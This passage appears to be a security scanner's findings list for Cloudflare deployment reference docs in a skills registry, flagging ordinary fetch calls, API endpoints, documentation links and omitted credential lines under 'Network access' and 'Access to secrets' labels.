    async fetch(request: Request, env: Env, ctx: ExecutionContext): Promise<Response> {
  • Network accessline 94
    // Pass correlationId through headers to downstream services await fetch('https://api.example.com', {
  • Network accessline 95
    await fetch('https://api.example.com', {

packages/autoskills/skills-registry/cloudflare-deploy/references/observability/patterns.md

  • Network accessline 22
    const start = Date.now(); const response = await fetch(url);
  • Network accessline 23
    const response = await fetch(url);
  • Network accessline 66
    ctx.waitUntil(       fetch('https://logging.example.com/ingest', {
  • Network accessline 67
    fetch('https://logging.example.com/ingest', {
  • Access to secretsline 69
    [Credential-related source omitted]
  • Network accessline 96
    ctx.waitUntil(       fetch('https://api.honeycomb.io/v1/traces', {
  • Network accessline 97
    fetch('https://api.honeycomb.io/v1/traces', {
  • Access to secretsline 99
    [Credential-related source omitted]

packages/autoskills/skills-registry/cloudflare-deploy/references/pages-functions/api.md

  • Access to secretsline 62
    [Credential-related source omitted]
  • Access to secretsline 74
    [Credential-related source omitted]
  • Access to secretsline 84
    [Credential-related source omitted]
  • Network accessline 96
    [Credential-related source omitted]
  • Access to secretsline 96
    [Credential-related source omitted]
  • Network accessline 97
    const stub = ctx.env.COUNTER.get(ctx.env.COUNTER.idFromName('global'));   return stub.fetch(ctx.request); };
  • Network accessline 98
    return stub.fetch(ctx.request);
  • Access to secretsline 106
    [Credential-related source omitted]
  • Access to secretsline 115
    [Credential-related source omitted]
  • Network accessline 116
    [Credential-related source omitted]
  • Access to secretsline 116
    [Credential-related source omitted]
  • Network accessline 118
    return ctx.env.AUTH.fetch(ctx.request);
  • Access to secretsline 121
    [Credential-related source omitted]
  • Network accessline 127
    When using `_worker.js`, access static assets via `env.ASSETS.fetch()`:
  • Network accessline 132
    export default {   async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 133
    async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 136
    return Response.json({ data: await env.KV.get('key') });     }     return env.ASSETS.fetch(request); // Fallback to static
  • Network accessline 137
    }     return env.ASSETS.fetch(request); // Fallback to static   }
  • Network accessline 138
    return env.ASSETS.fetch(request); // Fallback to static
  • Access to secretsline 140
    [Credential-related source omitted]

packages/autoskills/skills-registry/cloudflare-deploy/references/pages-functions/configuration.md

  • Access to secretsline 15
    [Credential-related source omitted]
  • Access to secretsline 27
    [Credential-related source omitted]
  • Access to secretsline 29
    [Credential-related source omitted]
  • Network accessline 42
    "vars": { "API_URL": "https://api.example.com" },
  • Network accessline 59
    {   "vars": { "API_URL": "http://localhost:8787" },
  • Network accessline 60
    "vars": { "API_URL": "http://localhost:8787" },
  • Network accessline 61
    "env": {     "production": { "vars": { "API_URL": "https://api.example.com" } }   }
  • Network accessline 62
    "production": { "vars": { "API_URL": "https://api.example.com" } }
  • Access to secretsline 78
    [Credential-related source omitted]

packages/autoskills/skills-registry/cloudflare-deploy/references/pages-functions/gotchas.md

  • Access to secretsline 25
    [Credential-related source omitted]
  • Access to secretsline 30
    [Credential-related source omitted]
  • Network accessline 78
    **Workers → Pages Functions:** - `export default { fetch(req, env) {} }` → `export function onRequest(ctx) { const { request, env } = ctx; }`
  • Network accessline 79
    - `export default { fetch(req, env) {} }` → `export function onRequest(ctx) { const { request, env } = ctx; }`
  • Network accessline 80
    - Use `_worker.js` for complex routing: `env.ASSETS.fetch(request)` for static files
  • Network accessline 89
    - [Official Docs](https://developers.cloudflare.com/pages/functions/)
  • Network accessline 90
    - [Workers APIs](https://developers.cloudflare.com/workers/runtime-apis/)
  • Network accessline 91
    - [Examples](https://github.com/cloudflare/pages-example-projects)
  • Network accessline 92
    - [Discord](https://discord.gg/cloudflaredev)

packages/autoskills/skills-registry/cloudflare-deploy/references/pages-functions/patterns.md

  • Access to secretsline 8
    [Credential-related source omitted]
  • Network accessline 12
    ctx.waitUntil(Promise.all([     ctx.env.ANALYTICS.writeDataPoint({ event: 'view' }),     fetch('https://webhook.site/...', { method: 'POST' })
  • Network accessline 13
    ctx.env.ANALYTICS.writeDataPoint({ event: 'view' }),     fetch('https://webhook.site/...', { method: 'POST' })   ]));
  • Network accessline 14
    fetch('https://webhook.site/...', { method: 'POST' })
  • Access to secretsline 33
    [Credential-related source omitted]
  • Access to secretsline 56
    [Credential-related source omitted]
  • Network accessline 107
    it('returns JSON', async () => {   const req = new Request('http://localhost/api');
  • Network accessline 108
    const req = new Request('http://localhost/api');
  • Network accessline 124
    export default {   async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 125
    async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 128
    return Response.json({ data: await env.KV.get('key') });     }     return env.ASSETS.fetch(request); // Static files
  • Network accessline 129
    }     return env.ASSETS.fetch(request); // Static files   }
  • Network accessline 130
    return env.ASSETS.fetch(request); // Static files
  • Access to secretsline 132
    [Credential-related source omitted]
  • Network accessline 137
    **See also:** [api.md](./api.md) for `env.ASSETS.fetch()` | [gotchas.md](./gotchas.md) for debugging

packages/autoskills/skills-registry/cloudflare-deploy/references/pages/README.md

  • Network accessline 61
    - [Pages Docs](https://developers.cloudflare.com/pages/)
  • Network accessline 62
    - [Functions API](https://developers.cloudflare.com/pages/functions/api-reference/)
  • Network accessline 63
    - [Framework Guides](https://developers.cloudflare.com/pages/framework-guides/)
  • Network accessline 64
    - [Discord #functions](https://discord.com/channels/595317990191398933/910978223968518144)

packages/autoskills/skills-registry/cloudflare-deploy/references/pages/api.md

  • Access to secretsline 26
    [Credential-related source omitted]
  • Access to secretsline 31
    [Credential-related source omitted]
  • Access to secretsline 41
    [Credential-related source omitted]
  • Access to secretsline 115
    [Credential-related source omitted]
  • Network accessline 134
    // functions/_worker.js export default {   async fetch(request, env, ctx) {
  • Network accessline 135
    export default {   async fetch(request, env, ctx) {     const url = new URL(request.url);
  • Network accessline 136
    async fetch(request, env, ctx) {
  • Network accessline 144
    // REQUIRED: Serve static assets     return env.ASSETS.fetch(request);
  • Network accessline 145
    return env.ASSETS.fetch(request);

packages/autoskills/skills-registry/cloudflare-deploy/references/pages/configuration.md

  • Network accessline 21
    "ai": {"binding": "AI"},   "analytics_engine_datasets": [{"binding": "ANALYTICS"}],   "vars": {"API_URL": "https://api.example.com", "ENVIRONMENT": "production"},
  • Network accessline 22
    "analytics_engine_datasets": [{"binding": "ANALYTICS"}],   "vars": {"API_URL": "https://api.example.com", "ENVIRONMENT": "production"},   "env": {
  • Network accessline 23
    "vars": {"API_URL": "https://api.example.com", "ENVIRONMENT": "production"},
  • Network accessline 24
    "env": {     "preview": {       "vars": {"API_URL": "https://staging-api.example.com"},
  • Network accessline 25
    "preview": {       "vars": {"API_URL": "https://staging-api.example.com"},       "kv_namespaces": [{"binding": "KV", "id": "preview-namespace-id"}]
  • Network accessline 26
    "vars": {"API_URL": "https://staging-api.example.com"},
  • Access to secretsline 54
    [Credential-related source omitted]
  • Network accessline 201
    [Full limits](https://developers.cloudflare.com/pages/platform/limits/)

packages/autoskills/skills-registry/cloudflare-deploy/references/pages/gotchas.md

  • Network accessline 11
    **Problem**: Static files not serving   **Causes**: Build output dir misconfigured; Functions catching requests; Advanced mode missing `env.ASSETS.fetch()`
  • Network accessline 12
    **Causes**: Build output dir misconfigured; Functions catching requests; Advanced mode missing `env.ASSETS.fetch()`
  • Network accessline 13
    **Solution**: Verify output dir, add exclusions to `_routes.json`, call `env.ASSETS.fetch()` in `_worker.js`
  • Network accessline 196
    [Full limits](https://developers.cloudflare.com/pages/platform/limits/)
  • Network accessline 200
    1. Check [Pages Docs](https://developers.cloudflare.com/pages/)
  • Network accessline 201
    2. Search [Discord #functions](https://discord.com/channels/595317990191398933/910978223968518144)
  • Network accessline 202
    3. Review [Workers Examples](https://developers.cloudflare.com/workers/examples/)

packages/autoskills/skills-registry/cloudflare-deploy/references/pages/patterns.md

  • Access to secretsline 7
    [Credential-related source omitted]
  • Access to secretsline 13
    [Credential-related source omitted]
  • Access to secretsline 26
    [Credential-related source omitted]
  • Access to secretsline 34
    [Credential-related source omitted]
  • Access to secretsline 68
    [Credential-related source omitted]
  • Network accessline 78
    export const onRequestPost: PagesFunction = async ({ request, waitUntil }) => {   const data = await request.json();   waitUntil(fetch('https://api.example.com/webhook', {
  • Network accessline 79
    const data = await request.json();   waitUntil(fetch('https://api.example.com/webhook', {     method: 'POST', body: JSON.stringify(data)
  • Network accessline 80
    waitUntil(fetch('https://api.example.com/webhook', {
  • Access to secretsline 111
    [Credential-related source omitted]
  • Access to secretsline 142
    [Credential-related source omitted]
  • Network accessline 194
    [Framework Guides](https://developers.cloudflare.com/pages/framework-guides/)

packages/autoskills/skills-registry/cloudflare-deploy/references/pipelines/README.md

  • Network accessline 42
    export default {   async fetch(request: Request, env: Env, ctx: ExecutionContext): Promise<Response> {
  • Network accessline 43
    async fetch(request: Request, env: Env, ctx: ExecutionContext): Promise<Response> {
  • Access to secretsline 51
    [Credential-related source omitted]

packages/autoskills/skills-registry/cloudflare-deploy/references/pipelines/api.md

  • Network accessline 15
    export default {   async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 16
    async fetch(request: Request, env: Env): Promise<Response> {
  • Access to secretsline 21
    [Credential-related source omitted]
  • Network accessline 60
    export default {   async fetch(request: Request, env: Env, ctx: ExecutionContext): Promise<Response> {
  • Network accessline 61
    async fetch(request: Request, env: Env, ctx: ExecutionContext): Promise<Response> {
  • Network accessline 89
    https://{stream-id}.ingest.cloudflare.com
  • Network accessline 99
    # ✅ Correct curl -X POST https://{stream-id}.ingest.cloudflare.com \
  • Network accessline 100
    curl -X POST https://{stream-id}.ingest.cloudflare.com \
  • Network accessline 104
    # ❌ Wrong - will fail curl -X POST https://{stream-id}.ingest.cloudflare.com \
  • Network accessline 105
    curl -X POST https://{stream-id}.ingest.cloudflare.com \
  • Network accessline 113
    curl -X POST https://{stream-id}.ingest.cloudflare.com \
  • Network accessline 151
    Full reference: [Pipelines SQL Reference](https://developers.cloudflare.com/pipelines/sql-reference/)
  • Access to secretsline 193
    [Credential-related source omitted]

packages/autoskills/skills-registry/cloudflare-deploy/references/pipelines/patterns.md

  • Network accessline 6
    export default {   async fetch(request, env, ctx) {
  • Network accessline 7
    async fetch(request, env, ctx) {

packages/autoskills/skills-registry/cloudflare-deploy/references/pulumi/README.md

  • Access to secretsline 31
    [Credential-related source omitted]
  • Access to secretsline 33
    [Credential-related source omitted]
  • Access to secretsline 34
    [Credential-related source omitted]
  • Access to secretsline 37
    [Credential-related source omitted]
  • Access to secretsline 48
    [Credential-related source omitted]

packages/autoskills/skills-registry/cloudflare-deploy/references/pulumi/api.md

  • Network accessline 53
    db.id.apply(async (dbId) => {     const response = await fetch(
  • Network accessline 54
    const response = await fetch(
  • Network accessline 55
    `https://api.cloudflare.com/client/v4/accounts/${accountId}/d1/database/${dbId}/query`,
  • Network accessline 70
    class D1MigrationProvider implements pulumi.dynamic.ResourceProvider {     async create(inputs: any): Promise<pulumi.dynamic.CreateResult> {         const response = await fetch(
  • Network accessline 71
    async create(inputs: any): Promise<pulumi.dynamic.CreateResult> {         const response = await fetch(             `https://api.cloudflare.com/client/v4/accounts/${inputs.accountId}/d1/database/${inputs.databaseId}/query`,
  • Network accessline 72
    const response = await fetch(
  • Network accessline 73
    `https://api.cloudflare.com/client/v4/accounts/${inputs.accountId}/d1/database/${inputs.databaseId}/query`,
  • Access to secretsline 139
    [Credential-related source omitted]

packages/autoskills/skills-registry/cloudflare-deploy/references/pulumi/configuration.md

  • Access to secretsline 31
    [Credential-related source omitted]

packages/autoskills/skills-registry/cloudflare-deploy/references/pulumi/gotchas.md

  • Network accessline 107
    // Worker code export default { async fetch(request, env) { await env.MY_KV.get("key"); }}
  • Network accessline 108
    export default { async fetch(request, env) { await env.MY_KV.get("key"); }}
  • Network accessline 174
    - **Pulumi Registry:** https://www.pulumi.com/registry/packages/cloudflare/
  • Network accessline 175
    - **API Docs:** https://www.pulumi.com/registry/packages/cloudflare/api-docs/
  • Network accessline 176
    - **GitHub:** https://github.com/pulumi/pulumi-cloudflare
  • Network accessline 177
    - **Cloudflare Docs:** https://developers.cloudflare.com/
  • Network accessline 178
    - **Workers Docs:** https://developers.cloudflare.com/workers/

packages/autoskills/skills-registry/cloudflare-deploy/references/queues/api.md

  • Access to secretsline 62
    [Credential-related source omitted]
  • Network accessline 157
    // Pull messages const response = await fetch(
  • Network accessline 158
    const response = await fetch(
  • Network accessline 159
    `https://api.cloudflare.com/client/v4/accounts/${ACCOUNT_ID}/queues/${QUEUE_ID}/messages/pull`,
  • Access to secretsline 162
    [Credential-related source omitted]
  • Network accessline 169
    // Acknowledge await fetch(
  • Network accessline 170
    await fetch(
  • Network accessline 171
    `https://api.cloudflare.com/client/v4/accounts/${ACCOUNT_ID}/queues/${QUEUE_ID}/messages/ack`,
  • Access to secretsline 174
    [Credential-related source omitted]

packages/autoskills/skills-registry/cloudflare-deploy/references/queues/configuration.md

  • Access to secretsline 88
    [Credential-related source omitted]

packages/autoskills/skills-registry/cloudflare-deploy/references/queues/patterns.md

  • Network accessline 6
    // Producer: Accept request, queue work export default {   async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 7
    export default {   async fetch(request: Request, env: Env): Promise<Response> {     const { userId, reportType } = await request.json();
  • Network accessline 8
    async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 39
    async queue(batch: MessageBatch, env: Env): Promise<void> {   const logs = batch.messages.map(m => m.body);   await fetch(env.LOG_ENDPOINT, { method: 'POST', body: JSON.stringify({ logs }) });
  • Network accessline 40
    const logs = batch.messages.map(m => m.body);   await fetch(env.LOG_ENDPOINT, { method: 'POST', body: JSON.stringify({ logs }) });   batch.ackAll();
  • Network accessline 41
    await fetch(env.LOG_ENDPOINT, { method: 'POST', body: JSON.stringify({ logs }) });
  • Network accessline 124
    async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 209
    try {       await stub.fetch(new Request('https://do/process', {
  • Network accessline 210
    await stub.fetch(new Request('https://do/process', {

packages/autoskills/skills-registry/cloudflare-deploy/references/r2-data-catalog/README.md

  • Network accessline 147
    - [Cloudflare R2 Data Catalog Docs](https://developers.cloudflare.com/r2/data-catalog/)
  • Network accessline 148
    - [Apache Iceberg Docs](https://iceberg.apache.org/)
  • Network accessline 149
    - [PyIceberg Docs](https://py.iceberg.apache.org/)

packages/autoskills/skills-registry/cloudflare-deploy/references/r2-data-catalog/api.md

  • Network accessline 3
    R2 Data Catalog exposes standard [Apache Iceberg REST Catalog API](https://github.com/apache/iceberg/blob/main/open-api/rest-catalog-open-api.yaml).

packages/autoskills/skills-registry/cloudflare-deploy/references/r2-data-catalog/configuration.md

  • Network accessline 7
    - Cloudflare account with [R2 subscription](https://developers.cloudflare.com/r2/pricing/)
  • Network accessline 41
    curl -X POST \
  • Network accessline 42
    "https://api.cloudflare.com/client/v4/accounts/<account-id>/r2/buckets/<bucket>/catalog" \
  • Network accessline 121
    # Store credentials in environment variables WAREHOUSE = os.getenv("R2_WAREHOUSE")      # e.g., "my-bucket" CATALOG_URI = os.getenv("R2_CATALOG_URI")  # e.g., "https://abc123.r2.cloudflarestorage.com/iceberg/my-bucket"
  • Network accessline 122
    [Credential-related source omitted]
  • Network accessline 123
    CATALOG_URI = os.getenv("R2_CATALOG_URI")  # e.g., "https://abc123.r2.cloudflarestorage.com/iceberg/my-bucket"
  • Access to secretsline 124
    [Credential-related source omitted]
  • Access to secretsline 172
    [Credential-related source omitted]
  • Access to secretsline 186
    [Credential-related source omitted]

packages/autoskills/skills-registry/cloudflare-deploy/references/r2-data-catalog/gotchas.md

  • Network accessline 162
    - [Cloudflare Community](https://community.cloudflare.com/c/developers/workers/40)
  • Network accessline 163
    - [Cloudflare Discord](https://discord.cloudflare.com) - #r2 channel
  • Network accessline 164
    - [PyIceberg GitHub](https://github.com/apache/iceberg-python/issues)
  • Network accessline 165
    - [Apache Iceberg Slack](https://iceberg.apache.org/community/)

packages/autoskills/skills-registry/cloudflare-deploy/references/r2-data-catalog/patterns.md

  • Access to secretsline 16
    [Credential-related source omitted]

packages/autoskills/skills-registry/cloudflare-deploy/references/r2-sql/README.md

  • Access to secretsline 96
    [Credential-related source omitted]
  • Network accessline 125
    - [pipelines](../pipelines/) - Streaming ingestion to Iceberg tables - [r2](../r2/) - R2 object storage fundamentals - [Cloudflare R2 SQL Docs](https://developers.cloudflare.com/r2-sql/)
  • Network accessline 126
    - [r2](../r2/) - R2 object storage fundamentals - [Cloudflare R2 SQL Docs](https://developers.cloudflare.com/r2-sql/) - [R2 SQL Deep Dive Blog](https://blog.cloudflare.com/r2-sql-deep-dive/)
  • Network accessline 127
    - [Cloudflare R2 SQL Docs](https://developers.cloudflare.com/r2-sql/)
  • Network accessline 128
    - [R2 SQL Deep Dive Blog](https://blog.cloudflare.com/r2-sql-deep-dive/)

packages/autoskills/skills-registry/cloudflare-deploy/references/r2-sql/configuration.md

  • Network accessline 27
    Catalog enabled successfully Warehouse: my-bucket Catalog URI: https://abc123.r2.cloudflarestorage.com/iceberg/my-bucket
  • Network accessline 29
    Catalog URI: https://abc123.r2.cloudflarestorage.com/iceberg/my-bucket
  • Access to secretsline 75
    [Credential-related source omitted]
  • Access to secretsline 81
    [Credential-related source omitted]
  • Network accessline 91
    curl -X POST https://api.cloudflare.com/client/v4/accounts/{account_id}/r2/sql/query \
  • Access to secretsline 123
    [Credential-related source omitted]

packages/autoskills/skills-registry/cloudflare-deploy/references/r2-sql/gotchas.md

  • Network accessline 12
    // ❌ This doesn't exist export default {   async fetch(request, env) {
  • Network accessline 13
    export default {   async fetch(request, env) {     const result = await env.R2_SQL.query("SELECT * FROM table");  // Not possible
  • Network accessline 14
    async fetch(request, env) {
  • Access to secretsline 97
    [Credential-related source omitted]
  • Access to secretsline 98
    [Credential-related source omitted]
  • Access to secretsline 100
    [Credential-related source omitted]
  • Access to secretsline 101
    [Credential-related source omitted]
  • Access to secretsline 199
    [Credential-related source omitted]
  • Network accessline 210
    - [patterns.md](patterns.md) - Query optimization - [configuration.md](configuration.md) - Setup - [Cloudflare R2 SQL Docs](https://developers.cloudflare.com/r2-sql/)
  • Network accessline 212
    - [Cloudflare R2 SQL Docs](https://developers.cloudflare.com/r2-sql/)

packages/autoskills/skills-registry/cloudflare-deploy/references/r2-sql/patterns.md

  • Network accessline 31
    curl -X POST https://api.cloudflare.com/client/v4/accounts/{account_id}/r2/sql/query \
  • Network accessline 62
    # Send data to pipeline curl -X POST https://{stream-id}.ingest.cloudflare.com \
  • Network accessline 63
    curl -X POST https://{stream-id}.ingest.cloudflare.com \

packages/autoskills/skills-registry/cloudflare-deploy/references/r2/api.md

  • Network accessline 98
    const s3 = new S3Client({   region: 'auto',   endpoint: `https://${accountId}.r2.cloudflarestorage.com`,
  • Network accessline 99
    region: 'auto',   endpoint: `https://${accountId}.r2.cloudflarestorage.com`,   credentials: { accessKeyId: env.R2_ACCESS_KEY_ID, secretAccessKey: env.R2_SECRET_ACCESS_KEY }
  • Network accessline 100
    endpoint: `https://${accountId}.r2.cloudflarestorage.com`,
  • Access to secretsline 101
    [Credential-related source omitted]

packages/autoskills/skills-registry/cloudflare-deploy/references/r2/configuration.md

  • Network accessline 22
    export default {   async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 23
    async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 35
    const s3 = new S3Client({   region: 'auto',   endpoint: `https://${accountId}.r2.cloudflarestorage.com`,
  • Network accessline 36
    region: 'auto',   endpoint: `https://${accountId}.r2.cloudflarestorage.com`,   credentials: {
  • Network accessline 37
    endpoint: `https://${accountId}.r2.cloudflarestorage.com`,
  • Access to secretsline 40
    [Credential-related source omitted]
  • Network accessline 68
    const s3 = new S3Client({   region: 'auto',   endpoint: `https://${accountId}.r2.cloudflarestorage.com`,
  • Network accessline 69
    region: 'auto',   endpoint: `https://${accountId}.r2.cloudflarestorage.com`,   credentials: {
  • Network accessline 70
    endpoint: `https://${accountId}.r2.cloudflarestorage.com`,
  • Access to secretsline 73
    [Credential-related source omitted]
  • Network accessline 79
    CORSConfiguration: {     CORSRules: [{       AllowedOrigins: ['https://example.com'],
  • Network accessline 80
    CORSRules: [{       AllowedOrigins: ['https://example.com'],       AllowedMethods: ['GET', 'PUT', 'HEAD'],
  • Network accessline 81
    AllowedOrigins: ['https://example.com'],

packages/autoskills/skills-registry/cloudflare-deploy/references/r2/gotchas.md

  • Network accessline 82
    // ❌ WRONG: Streaming unknown length fails silently const response = await fetch(url);
  • Network accessline 83
    const response = await fetch(url);
  • Network accessline 103
    // ❌ WRONG: Missing region breaks ALL S3 SDK calls const s3 = new S3Client({   endpoint: `https://${accountId}.r2.cloudflarestorage.com`,
  • Network accessline 104
    const s3 = new S3Client({   endpoint: `https://${accountId}.r2.cloudflarestorage.com`,   credentials: { ... }
  • Network accessline 105
    endpoint: `https://${accountId}.r2.cloudflarestorage.com`,
  • Network accessline 110
    const s3 = new S3Client({   region: 'auto', // REQUIRED   endpoint: `https://${accountId}.r2.cloudflarestorage.com`,
  • Network accessline 111
    region: 'auto', // REQUIRED   endpoint: `https://${accountId}.r2.cloudflarestorage.com`,   credentials: { ... }
  • Network accessline 112
    endpoint: `https://${accountId}.r2.cloudflarestorage.com`,

packages/autoskills/skills-registry/cloudflare-deploy/references/r2/patterns.md

  • Network accessline 108
    const s3 = new S3Client({   region: 'auto',   endpoint: `https://${env.ACCOUNT_ID}.r2.cloudflarestorage.com`,
  • Network accessline 109
    region: 'auto',   endpoint: `https://${env.ACCOUNT_ID}.r2.cloudflarestorage.com`,   credentials: { accessKeyId: env.R2_ACCESS_KEY_ID, secretAccessKey: env.R2_SECRET_ACCESS_KEY }
  • Network accessline 110
    endpoint: `https://${env.ACCOUNT_ID}.r2.cloudflarestorage.com`,
  • Access to secretsline 111
    [Credential-related source omitted]
  • Network accessline 117
    // Client: Upload directly const { uploadUrl } = await fetch('/api/upload-url').then(r => r.json());
  • Network accessline 118
    const { uploadUrl } = await fetch('/api/upload-url').then(r => r.json());
  • Network accessline 119
    await fetch(uploadUrl, { method: 'PUT', body: file });
  • Network accessline 125
    export default {   async fetch(request: Request, env: Env, ctx: ExecutionContext): Promise<Response> {
  • Network accessline 126
    async fetch(request: Request, env: Env, ctx: ExecutionContext): Promise<Response> {
  • Network accessline 158
    export default {   async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 159
    async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 190
    Enable r2.dev in dashboard for simple public access: `https://pub-${hashId}.r2.dev/${key}`
  • Network accessline 191
    Or add custom domain via dashboard: `https://files.example.com/${key}`

packages/autoskills/skills-registry/cloudflare-deploy/references/realtime-sfu/README.md

  • Network accessline 55
    Dashboard: https://dash.cloudflare.com/?to=/:account/calls
  • Network accessline 61
    - [Orange Meets Demo](https://demo.orange.cloudflare.dev/)
  • Network accessline 62
    - [Orange Source](https://github.com/cloudflare/orange)
  • Network accessline 63
    - [Calls Examples](https://github.com/cloudflare/calls-examples)
  • Network accessline 64
    - [API Reference](https://developers.cloudflare.com/api/resources/calls/)
  • Network accessline 65
    - [RealtimeKit Docs](https://developers.cloudflare.com/workers-ai/realtimekit/)

packages/autoskills/skills-registry/cloudflare-deploy/references/realtime-sfu/api.md

  • Network accessline 6
    [Credential-related source omitted]
  • Access to secretsline 6
    [Credential-related source omitted]
  • Access to secretsline 7
    [Credential-related source omitted]
  • Network accessline 103
    // 4. Send to backend → Cloudflare API const response = await fetch('/api/new-session', {
  • Network accessline 104
    const response = await fetch('/api/new-session', {
  • Network accessline 120
    const res = await fetch(`/api/sessions/${sessionId}/tracks`, {
  • Network accessline 136
    const res = await fetch(`/api/sessions/${sessionId}/tracks`, {
  • Network accessline 149
    await fetch(`/api/sessions/${sessionId}/renegotiate`, {

packages/autoskills/skills-registry/cloudflare-deploy/references/realtime-sfu/configuration.md

  • Network accessline 5
    1. Navigate to https://dash.cloudflare.com/?to=/:account/calls
  • Network accessline 109
    async fetch(req: Request) {
  • Access to secretsline 134
    [Credential-related source omitted]

packages/autoskills/skills-registry/cloudflare-deploy/references/realtime-sfu/gotchas.md

  • Network accessline 44
    // Send to backend → Cloudflare API     await fetch(`/api/sessions/${sessionId}/renegotiate`, {
  • Network accessline 45
    await fetch(`/api/sessions/${sessionId}/renegotiate`, {
  • Network accessline 83
    for (let i = 0; i < maxRetries; i++) {     try {       const res = await fetch(url, options);
  • Network accessline 84
    try {       const res = await fetch(url, options);       if (res.ok) return res;
  • Network accessline 85
    const res = await fetch(url, options);

packages/autoskills/skills-registry/cloudflare-deploy/references/realtime-sfu/patterns.md

  • Network accessline 74
    app.post('/api/new-session', async (req, res) => {   const r = await fetch(`${CALLS_API}/apps/${process.env.CALLS_APP_ID}/sessions/new`,
  • Network accessline 75
    const r = await fetch(`${CALLS_API}/apps/${process.env.CALLS_APP_ID}/sessions/new`,
  • Access to secretsline 76
    [Credential-related source omitted]
  • Access to secretsline 81
    [Credential-related source omitted]
  • Network accessline 136
    toAdd.forEach(async id => {     await fetch(`/api/subscribe`, {method: 'POST', body: JSON.stringify({trackId: id})});
  • Network accessline 137
    await fetch(`/api/subscribe`, {method: 'POST', body: JSON.stringify({trackId: id})});

packages/autoskills/skills-registry/cloudflare-deploy/references/realtimekit/README.md

  • Network accessline 26
    # Create app curl -X POST 'https://api.cloudflare.com/client/v4/accounts/<account_id>/realtime/kit/apps' \
  • Network accessline 27
    curl -X POST 'https://api.cloudflare.com/client/v4/accounts/<account_id>/realtime/kit/apps' \
  • Network accessline 31
    # Create meeting curl -X POST 'https://api.cloudflare.com/client/v4/accounts/<account_id>/realtime/kit/<app_id>/meetings' \
  • Network accessline 32
    curl -X POST 'https://api.cloudflare.com/client/v4/accounts/<account_id>/realtime/kit/<app_id>/meetings' \
  • Network accessline 36
    # Add participant curl -X POST 'https://api.cloudflare.com/client/v4/accounts/<account_id>/realtime/kit/<app_id>/meetings/<meeting_id>/participants' \
  • Network accessline 37
    curl -X POST 'https://api.cloudflare.com/client/v4/accounts/<account_id>/realtime/kit/<app_id>/meetings/<meeting_id>/participants' \
  • Access to secretsline 50
    [Credential-related source omitted]
  • Network accessline 110
    - **Official Docs**: https://developers.cloudflare.com/realtime/realtimekit/
  • Network accessline 111
    - **API Reference**: https://developers.cloudflare.com/api/resources/realtime_kit/
  • Network accessline 112
    - **Examples**: https://github.com/cloudflare/realtimekit-web-examples
  • Network accessline 113
    - **Dashboard**: https://dash.cloudflare.com/?to=/:account/realtime/kit

packages/autoskills/skills-registry/cloudflare-deploy/references/realtimekit/api.md

  • Network accessline 130
    Base: `https://api.cloudflare.com/client/v4/accounts/{account_id}/realtime/kit/{app_id}`
  • Network accessline 192
    GET    /webhooks                    # List all POST   /webhooks                    # Create: {"url": "https://...", "events": ["session.started", "session.ended"]}
  • Network accessline 193
    POST   /webhooks                    # Create: {"url": "https://...", "events": ["session.started", "session.ended"]}

packages/autoskills/skills-registry/cloudflare-deploy/references/realtimekit/configuration.md

  • Network accessline 38
    <script type="module" src="https://cdn.jsdelivr.net/npm/@cloudflare/realtimekit-ui/dist/realtimekit-ui/realtimekit-ui.esm.js"></script>
  • Network accessline 65
    **Dashboard**: https://dash.cloudflare.com/?to=/:account/realtime/kit
  • Network accessline 69
    curl -X POST 'https://api.cloudflare.com/client/v4/accounts/<account_id>/realtime/kit/apps' \
  • Network accessline 80
    curl -X POST 'https://api.cloudflare.com/client/v4/accounts/<account_id>/realtime/kit/<app_id>/presets' \
  • Network accessline 156
    theme: 'dark'  // 'light' | 'dark'   },   logo: { url: 'https://example.com/logo.png', altText: 'Company' }
  • Network accessline 157
    },   logo: { url: 'https://example.com/logo.png', altText: 'Company' } };
  • Network accessline 158
    logo: { url: 'https://example.com/logo.png', altText: 'Company' }

packages/autoskills/skills-registry/cloudflare-deploy/references/realtimekit/gotchas.md

  • Network accessline 79
    // Generate token when user clicks "Join" near scheduled time const response = await fetch('/api/join-meeting', {
  • Network accessline 80
    const response = await fetch('/api/join-meeting', {

packages/autoskills/skills-registry/cloudflare-deploy/references/realtimekit/patterns.md

  • Network accessline 14
    // HTML/Web Components <script type="module" src="https://cdn.jsdelivr.net/npm/@cloudflare/realtimekit-ui/dist/realtimekit-ui/realtimekit-ui.esm.js"></script>
  • Network accessline 15
    <script type="module" src="https://cdn.jsdelivr.net/npm/@cloudflare/realtimekit-ui/dist/realtimekit-ui/realtimekit-ui.esm.js"></script>
  • Network accessline 41
    **See full catalog**: https://docs.realtime.cloudflare.com/ui-kit
  • Network accessline 118
    // Approve from waitlist (backend only) await fetch(
  • Network accessline 119
    await fetch(
  • Network accessline 120
    `https://api.cloudflare.com/client/v4/accounts/${accountId}/realtime/kit/${appId}/meetings/${meetingId}/active-session/waitlist/approve`,
  • Access to secretsline 177
    [Credential-related source omitted]
  • Network accessline 179
    export default {   async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 180
    async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 183
    if (url.pathname === '/api/join-meeting') {       const { meetingId, userName, presetName } = await request.json();       const response = await fetch(
  • Network accessline 184
    const { meetingId, userName, presetName } = await request.json();       const response = await fetch(         `https://api.cloudflare.com/client/v4/accounts/${env.CLOUDFLARE_ACCOUNT_ID}/realtime/kit/${env.REALTIMEKIT_APP_ID}/meetings/${meet
  • Network accessline 185
    const response = await fetch(
  • Network accessline 186
    `https://api.cloudflare.com/client/v4/accounts/${env.CLOUDFLARE_ACCOUNT_ID}/realtime/kit/${env.REALTIMEKIT_APP_ID}/meetings/${meetingId}/participants`,
  • Access to secretsline 189
    [Credential-related source omitted]

packages/autoskills/skills-registry/cloudflare-deploy/references/sandbox/README.md

  • Network accessline 22
    export default {   async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 23
